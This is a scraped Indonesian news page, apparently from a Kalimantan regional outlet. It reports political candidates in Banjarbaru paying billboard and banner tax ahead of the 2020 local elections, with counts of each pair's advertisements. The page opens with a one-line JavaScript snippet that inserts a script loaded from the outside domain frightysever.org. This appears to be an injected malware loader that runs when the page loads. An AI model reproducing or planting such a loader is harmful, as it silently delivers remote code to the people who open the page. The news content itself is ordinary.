(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Giliran Aditya-Iwansyah Lunasi Pajak Reklame Politik di BP2RD Banjarbaru


BANJARBARU, Setelah pasangan incumbent Nadjmi Adhani-Darmawan Jaya Setiawan, giliran kubu penantang Aditya Mufti Ariffin-AR Iwansyah yang membayar tagihan pajak reklame di Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Banjarbaru, Selasa (7/1). Pasangan yang dimotori PPP dan Golkar ini, membayar reklame politik melalui utusannya Khairil Anwar di Kantor BP2RD.

Dijumpai awak media, Khairil mengaku sebenarnya pembayaran pajak reklame ini telah dilakukannya pada Senin (6/1) kemarin. Hanya saja, oleh pegawai BP2RD, ia diminta untuk datang kembali pada keesokan harinya.

“Bukan kemauan kita untuk baru saja bayar pajak hari ini. Senin kemarin sudah datang, tapi karena petugas dan kasir melihat item yang harus dibayar sangat banyak, maka saya diminta datang lagi besok. Maksudnya, supaya tidak menunggu terlalu lama saat rekan-rekan di sana melakukan penginputan data. Jadinya, baru hari ini bayar,” katanya.

Khairil sendiri menilai, petugas BP2RD Banjarbaru tampak kelawahan dalam menyediakan stiker pembayaran reklame. Hal itu dilihatnya, saat ratusan reklame yang dibayar oleh pihaknya, justru yang tersedia hanya 30 stiker.

“Karena kurang itu baru kemudian diambil lagi stikernya untuk melengkapi kekurangan. Itupun terpaksa dicampur dengan stiker besar. Petugas sendiri kecapean karena harus menulis satu persatu dari ratusan reklame yang dibayar. Kami berterima kasih dan memohon maaf kepada rekan-rekan di BP2RD karena jadi merepotkan,” ceritanya.

Terkait ketidakhadiran pasangan Aditya-Iwansyah secara langsung, Khairil mengatakan aktivitas pembayaran pajak merupakan hal yang biasa. “Setiap bulan atau setiap tahun kita juga bayar. Jadi, ya tidak perlu heboh-heboh,” katanya.

Sementara itu, Kepala BP2RD Kota Banjarbaru, Rustam Effendi, mengaku baru mengetahui ihwal kedatangan utusan pasangan Aditya-Iwansyah sejak Senin kemarin. Ia meminta maaf apabila pelayanan BP2RD kurang maksimal, hingga pembayaran pajak reklame pasangan tersebut harus tertunda.

“Saya juga baru tahu, tidak biasanya pegawai saya sampai tidak bisa melayani seperti itu. Saya meminta maaf kepada pihak Bacalon. Kedepannya kita akan lebih memaksimalkan pelayanan,” jujurnya.

Menurut catatan BP2RD Banjarbaru hingga Selasa siang, hampir seluruh pasangan Bakal Calon Pilkada Banjarbaru telah memenuhi syarat pajak reklame iklan politik. Adapun diantaranya, pasangan pertahana (incumbent) Nadjmi Adhani-Darmawan Jaya Setiawan, disusul Eddy Saifudin-Astina, dan Aditya-Iwansyah.

Pun, Bakal Calon Gubenur Kalsel yakni, Denny Indrayana juga baru saja memenuhi kewajiban membayar pajak reklame melalui transfer. Walhasil, saat ini hanya tersisa satu peserta Pilkada belum membayar pajak, yakni Bakal Calon Walikota Banjarbaru tunggal, Sofwat Hadi.

Seluruh peserta Pilkada ini, membayar pajak reklame tahap I yakni berlaku selama 3 bulan, terhitung dari Januari sampai Maret.

Rustam mengatakan pihaknya hanya mengizinkan reklame politik yang sudah dibayar saja untuk terpajang di ruas jalan Kota Banjarbaru. Artinya, reklame tidak boleh ditambah lagi. Ia juga mengutarakan, pungutan pajak reklame ini akan dihentikan usai para calon Pilkada 2020 ini telah resmi ditetapkan KPU.

“Reklame tidak boleh ditambah lagi. Jumlah harus sesuai dengan pajak yang dibayar. Untuk Bacalon Sofwat Hadi kita masih menunggu kapan akan membayar pajak reklamenya,” pungkas Kepala BP2RD Banjarbaru.

Seperti yang beritakan sebelumnya, Bakal calon Aditya-Iwansyah memasang reklame dengan rincian 8 baliho, 5 banner, dan 104 spanduk. Sedangkan pasangan incumbent Nadjmi-Jaya memasang 35 banner, 5 baliho dan 2 bando.

Untuk pasangan Eddy Saifudin-Astina Zuraida tercatat memasang 12 reklame, terdiri dari 11 spanduk dan 1 baliho. Sedangkan, Sofwat Hadi sebagai Bacalon Walikota Banjarbaru tunggal, hanya memasang 17 spanduk saja. (Rico)

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

4 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

6 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

7 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

8 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

10 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.